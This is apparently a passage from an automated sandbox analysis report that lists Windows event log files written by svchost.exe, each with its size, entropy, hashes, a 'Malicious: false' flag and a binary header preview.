SSDEEP:	384:DhZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+lk:DWXSYieD+tvgzmMvB2R387
MD5:	A12D2A18D158FA0E4EBA801B76795EAC
SHA1:	22C6C36D8E0ACD32735F5C0D25929CD734A2DB9F
SHA-256:	4A2A9FFE44AB14DE2504B3632FBDDC8EC4E3B35AFF6C5CCA75AB5095E164E39E
SHA-512:	729117B98F2FA8D18DD3A9B0A373EA5CD36A9B88BA54A45579DE0C50C68DABAB50096CC3078DDA1C11A7483D95CD6B39A54AF35282B1C2550F0AAE4A80F8BEA9
Malicious:	false
Preview:	ElfChnk......................................$...&.....i....................................................................x..(................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................&...............................................................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.195274240374291
Encrypted:	false
SSDEEP:	384:ZhqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28j:ZbCyhLfI931N
MD5:	6728E529686A29F3C0CB24FCDAC7DE54
SHA1:	36F33D1B8206E3059A469A4D77DFF975B5110843
SHA-256:	7DEDB2248E911D89A2ABF1430005FAC9B55684A30DECC312B9CCE0F898CCDA5F
SHA-512:	913B017504A85CDA5406E1B30BFE6A6F767A73597F6790466248DE99E70191617E9EF8D0457CB2CCBEBB2DF71785C6C750F94BDCE254FB34B67A73E6CB6DCD81
Malicious:	false
Preview:	ElfChnk.........N...............N...................Mo-.........................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n.......6t..............................................................................**..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.3895763915665986
Encrypted:	false
SSDEEP:	768:TcMhFBuyKskZljdoKXjtT/r18rQXn8uwgSj70FTP:gMhFBuV80
MD5:	1D8BE61A76EB65AD20811E2A3EBD8D8B
SHA1:	65BCCD165D3CF1461160CB66C599C27292F5CFAE
SHA-256:	3A422D3D5B358379363C1C04D81DDC636AB1EE1E1B9ACC78C43CF02BDCD438CD
SHA-512:	2150FFB459D6F9B9AC6DE5274E96C59803240F3C6CFD820C565B892B10FD7DF152B223D05A01433A15DB737C688D4451DD78B07BB42F9774C18CC64E48D23FC4
Malicious:	false
Preview:	ElfChnk.........O...............O...........0........~......................................................................O.".................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A..........................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.900849391492108
Encrypted:	false
SSDEEP:	768:wtvigANk0vAzBCBao/F6Cf2SEqEhwaK41HZalMIq9Iz6IOTLGfFXN/E:KDH+dqWzrhFXN/E
MD5:	C5C67E971469A08768EEAA50D6CDFA80
SHA1:	BE7F82BB386B57D8133754BF50EC601B5F03B359
SHA-256:	5FCC096B23E96EEAF2E15980158ED235A11EC2D0EF3DE416CA22BBD108D20B71
SHA-512:	D72044FA5A8CA1D3DF8C7F1EE7D1ABAEB0DFFB1A4A6C644176088AF387E611D7A88467F7C338895D1467324B977DC39A5870A9269E6F66AB22F7662CB17FF2E5
Malicious:	false
Preview:	ElfChnk.w...............w............................`........................................................................?.................4.......................\...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**..H...w...........`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 27, DIRTY
Category:	dropped
Size (bytes):	93416
Entropy (8bit):	2.772166390025152
Encrypted:	false
SSDEEP:	384:2Oh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzc:5MAP1Qa5AgfQQhCdMAP1Qa5AgfQQhC
MD5:	55802A9A8269B88E9ED14075334BD345
SHA1:	99D04229177792BA4E1ADFB6BF146718B0692B40
SHA-256:	9E83D44A9EE02BC1C778743D73CB022F3C7354ED3A4AF0C795F98047134C5CDF
SHA-512:	ECF26715F0FF8A0A597A376BA4AD4385B3910D1E4647101B7451CCFCB9B13814292117513BFB03667654B8041C29D49063FF2B1EDAD7627D2CE015BD5714FBAE
Malicious:	false
Preview:	ElfFile.....................................................................................................................\|.~2ElfChnk.....................................hi..hl..N=.,.....................................................................P.B................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........Y...............................&..............;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.441475404183629
Encrypted:	false
SSDEEP:	768:ZbM5eahvB94LSAoiMTQMrj+/IVvu4mJY0YCOO:dMAaZBLzn6fYZO
MD5:	B7F318BB9FA336235CCBE5A391775D8E
SHA1:	F7F7CFF57A6BB00B4E6F17E39BAAF2443E08878D
SHA-256:	D59515423F15D3618746447E1333945BF1432B9B4C20B54849050CE17C72311D
SHA-512:	1C8FA8FD31BC4A3C6815A473C00187497E7E71CAF1FAD61F5A6D73DBEB6AE9D551A3DAA6B39B76A4D1401A061844036D5D06469A3942BC030B276D4E186C7289
Malicious:	false
Preview:	ElfChnk.r...............r...................0.......A..@....................................................................k...................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F....................+...............)......55......................&.......E....@......M#..............u7.......1.........../...........!..]>......**......r.......R...`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 8448-4108, spot sensor temperature 0.000000, unit celsius, color scheme 1, show spot sensor, calibration: offset 0.000000, slope 308596736.000000
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4699263306571524
Encrypted:	false
SSDEEP:	384:6hYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3Klq:61T4hu7OJscMmza
MD5:	86173450A7EE15BC5B6A2C667DD3B040
SHA1:	200635B7FB3137AB9A33A6551182F4BA05BDCE84
SHA-256:	AEDE5AAE515D2A3C78BA23C631D178DCCB3E775CD3B4FB6F0406887FAEDE5B88
SHA-512:	3A73438F1A7B3B2F166B2B2F70E713F7393A2F2D5DF23858D05F2790BD2DF5B2CDC38263EC72ECC34621C82C44308E3C0474E295C678642E30146CAC27D69067
Malicious:	false
Preview:	ElfChnk.........s...............s..............x....,........................................................................5.................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.450965793914843
Encrypted:	false
SSDEEP:	384:phFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjDfO:pzSKEqsMuy6CL3
MD5:	3914FD52494E203A25B69F9F4221031F
SHA1:	8046E0D1C78A47632A4550AC66FC9917E6429457
SHA-256:	D2D37391EC1325C6C27486311C5B5E1D11C55D0A464270F009E3D3E1B2A54D3B
SHA-512:	12FB89D2F9A5B19C7150D23A09A7C7B3F5616C09C8A83AE83A331263F0FA45181066F1A44080A46FE3A9F551BDF56485BD03DB9001FE82388DCDB1EF3FBC7829
Malicious:	false
Preview:	ElfChnk.........L...............L...................=....................................................................... ..H................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&........................................`..............................................................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1568075545974956
Encrypted:	false
SSDEEP:	384:ZhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zg:Zmw9g3LCjg
MD5:	F3CF496665845DA6C957242770973ECE
SHA1:	BF7206ECD6C6ABE687BE10A157C86C7EBE59C6BD
SHA-256:	BB190FF3FA391F3B69F3E4509B14D6DE320C980D69A59BC74DBD57BD8AA42F7F
SHA-512:	EA5A2D21353556B5B6FC420671E5F7026B6A280C7CD740CD1CAFA2C958318B5BB6A5F4AE6A00450E2A7997425A0AAAFFD158452401ABB732CA985A8DE3548213
Malicious:	false
Preview:	ElfChnk.........6...............6...........(o...p..........................................................................y.................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n........X..............................................................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.8853799397148268
Encrypted:	false
SSDEEP:	384:5hCI2LwuSsYI8tIbLIYoI/IE6IQsIhIxIUIfIXIAI2I/IRIvI:5Z
MD5:	FACBCFA717058EFCED1754221D6A421D
SHA1:	1BA10B3E2BB8A2C739257CE228789E2D6C4F1A1D
SHA-256:	6F6A7779828D79A41F94AF9EE452BB44EE0E495D27A5B5DE7DAD659A6865C9CB
SHA-512:	0253FDCC88D3E52A9A26A065AC0C4E264DC0E84CB6A175D09BEC79E56D5282B9B95DCE2FEF47C48505D34C629388904AA6E2BDFF81759920FE314D6F9F5A6DB0
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...............@6..u..B.....................................................................w..................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**......K.......1E..`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0596696487276978
Encrypted:	false
SSDEEP:	384:Qh1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMpHMXmM+ZM6Zz:QeJ+
MD5:	F6D375E51341AC949A73803CF00B96E6
SHA1:	5DB3BF9A34145DD777EA9593DE3C8054B08A11D1
SHA-256:	EBDFA834049A08F8FC9B3DD35800233E75BDB480D59E548D7F4F3F2720B889F9
SHA-512:	1714A4243ECEB63E23583F31D3D6C161D8423E1AD2D1E1440545718E6DA879F74C2F03E5C21120ED826093777F6DEEEFEC57B913E1B4C1D74C0B8A473752460B
Malicious:	false
Preview:	ElfChnk.........................................X0.....!....................................................................B...........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................6(..............................................................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.241268628600426
Encrypted:	false
SSDEEP:	384:Thk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS1/:TBjdjP0csQqL
MD5:	602FD635C1BE2C0F087784BAE052554B
SHA1:	77EE62511C78BA6989DF77AC6B616422A44D7F54
SHA-256:	78FC5D1D71915650A8080B217B8B28F799B054F35C89AAB2C474DC4B9C3F0581
SHA-512:	8A66621CE4233D42AE83A0046A04628F4A88D91713C064944A61AFDF3F33D44E54E416A8441D1FFFDDCEA2E909761BBF151894881B4F93C0D238537939E21217
Malicious:	false
Preview:	ElfChnk...............................................j.........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&..............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	70440
Entropy (8bit):	3.548884984798217
Encrypted:	false
SSDEEP:	384:DdIoLI0IWTI+I4ILINI4IuqIdWhDIEQAGxIHIFIWiIfeIT4IEIIInIhvohIG6If7:DR3WZxGkilAG
MD5:	E5F772BFFEE5889EA16CC35757457983
SHA1:	820EF1CD63E0B5C993EF96D479770F3B3BA4D6D7
SHA-256:	C754EBA131761AA89605F3E3AE3B68CCCB5B5AE18BC18E6763EA0FA3013F3607
SHA-512:	5A9E27389715666E87835AE4823B939A3D1ECEFA06D84EDA4E5EA6504533888F3AD9FDF2FC6559A940995D5CF00724822F903497572FDD5F57B9558ADB473B28
Malicious:	false
Preview:	ElfChnk.T...............T...................h... ....Z#:................................................................................................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................................................a........F..........1........................................)........................................v..geM..........E!.F..............................................................,.......D...x.!........... ....@v..geM.....`....Z..`.......P........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s..z.?..nM.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s./.O.p.e.r.a.t.i.o.n.a.l.......a.............................................K...YM...?........C.:.........................explorer.exe.................................~..geM..........E!.F............

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8023807109333921
Encrypted:	false
SSDEEP:	384:Fch6iIvcImIvITIQIoIoI3IEIMIoIBIOIRTIWeIZIEPdINI:FcoxXxP
MD5:	996D00E5A8B66706691FE697CCD68A7A
SHA1:	C90C99232451BAF2DCEB02C56C69CA9194390A9D
SHA-256:	95EF5245BEB2BBFD8EB8F5CE3A0C81869EF2AFACA54EF3445C3B144909C6A4B2
SHA-512:	FEA1D551151A622B151133814ECA8DE8EE4E3DA6D08F81CCE931FA7A64242E732A283E03A4B21EE922AF24F6FF0AF5EE2F26CDB7AA534583063C40F9C40DA0C8
Malicious:	false
Preview:	ElfChnk.....................................`"...#...l]....................................................................upp.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................^...............................................................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.999253421723821
Encrypted:	false
SSDEEP:	768:h4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH130:j
MD5:	11CAFE60067FAE9C5A304C7A7DAC0EB5
SHA1:	0E72987588CB8557C7CD00AD3D8956CDC0593C35
SHA-256:	1AFA765FD9A0D9659C2A02A266ED4FD303C82BD9AFF45F0E7167E335F91E042E
SHA-512:	764A5D459803B989800473821647907FF484C914778A8AE42257E4791C1C1369E5490AB9365665C257045A007907981E78C1F2B4D5652BCA777873439537E9D0
Malicious:	false
Preview:	ElfChnk.....................................0...@......~....................................................................u!..................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ......................................................................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	dBase III DBT, next free block index 1130785861, 1st item "**"
Category:	dropped
Size (bytes):	4784
Entropy (8bit):	3.9590412646130924
Encrypted:	false
SSDEEP:	96:ySNVaO8Mco1RywtayaByGIyeyhYshqyQX8ZQyq:ykV7JRywtayaByGIyeyhYskyQ8ZQyq
MD5:	EDD32D29F33E09CB0638E5049F50AEB8
SHA1:	D0EB0DEAF115C01DF456196D06DB10ADECDA661F
SHA-256:	9D500F621F8E0B5714FA3E0904BF403A591D5C74ED5CCA5B705BD33CC76C9C58
SHA-512:	98619DE0AF992F0DB57D9BBF6C40C5AE8F9247C4EB0218D2F12557FAC81708A4BF25478CC160F2B5BEE1901B5D070A1E92393F65957B14D29B914C4FFAB590B1
Malicious:	false
Preview:	ElfChnk.................P.......R....................<......................................................................o..]................8...........................=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**..h...P.........=.ZM..........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.435761335270744
Encrypted:	false
SSDEEP:	768:jpUOZc1jN2RkG6OQFAWAbYgO0TKLCjDjv5nTPC9:lZcy4AVKLCjDxTPw
MD5:	5326FF581E9596C4674ADCBEECAE50AA
SHA1:	96D2F4A031204AF8C378262CD458AEA904E6ED28
SHA-256:	551565214FC62778716C39CDD16E4D60D0F45410459DA67A4DF2E4CB1EA6B1E9
SHA-512:	E6C231FAEE2A4F76FCAF61993450FB26AB834E6F3B50A06C6498801BFB7191A2998F7FBBC7BFCC06127484787CE905483D3752C7FDAAB76D01F5DCF939738A70
Malicious:	false
Preview:	ElfChnk.........................................x...X..{.....................................................................g.p................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................O.......................&..........................................................._...................**..@...........H...ZM..........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7602204514023913
Encrypted:	false
SSDEEP:	384:ChP8o8Z85848V8M8g8D8R8E8J83W1d8b8ut8l8:CR
MD5:	A71D2A716E4B8C87379C50F91A376243
SHA1:	B55D17BCD95C285812D918E820EDC513B8BC4373
SHA-256:	4C279C417D131982DEF275E92EC2EB1CCF985E5A5785B8989D28972A72AAD650
SHA-512:	4759EE9F1D1DF7F9C3452A40C1A58C66A8928378CC69B464944C4732BC5042BE1FFA81996F5943702CF7379C632B41081F9109421EB9A2243CCF06AF02BC45E8
Malicious:	false
Preview:	ElfChnk.........................................8!..=.......................................................................w]..........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......v...............................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.7778192601657423
Encrypted:	false
SSDEEP:	1536:TXhCUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:TXQnS
MD5:	BC1869126DBA5DA294864FC0BC639FCA
SHA1:	021005C8E27BF6EAC1336EA1F1E76F31E3C1831F
SHA-256:	D90EE284FB6497E69E12A1E42F467572D4FF2192B58481A85F4468C1B46810D3
SHA-512:	E610240B9E07DF0386AF91F57B44DDA52847FC9A68AB80725D42A77BA8A583E6E8E4532394EC9C2C90AB3102B454F94F06DB1085944E60823A4CF8121FB8EA32
Malicious:	false
Preview:	ElfChnk...................................(N...O...iD.......................................................................Lg................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........=......................................................O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4655200384785823
Encrypted:	false
SSDEEP:	768:m0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O5vaP4eZiGai2niL9i5:ucE5
MD5:	EC1441AF347A3AEBD3C499EB77112044
SHA1:	062F0645AF0FF401308A0582362E6FE001C5444F
SHA-256:	97F7D6CF9603D2EF964F3D680F5902853382AE270ED6A37576364BD19E0A1C4A
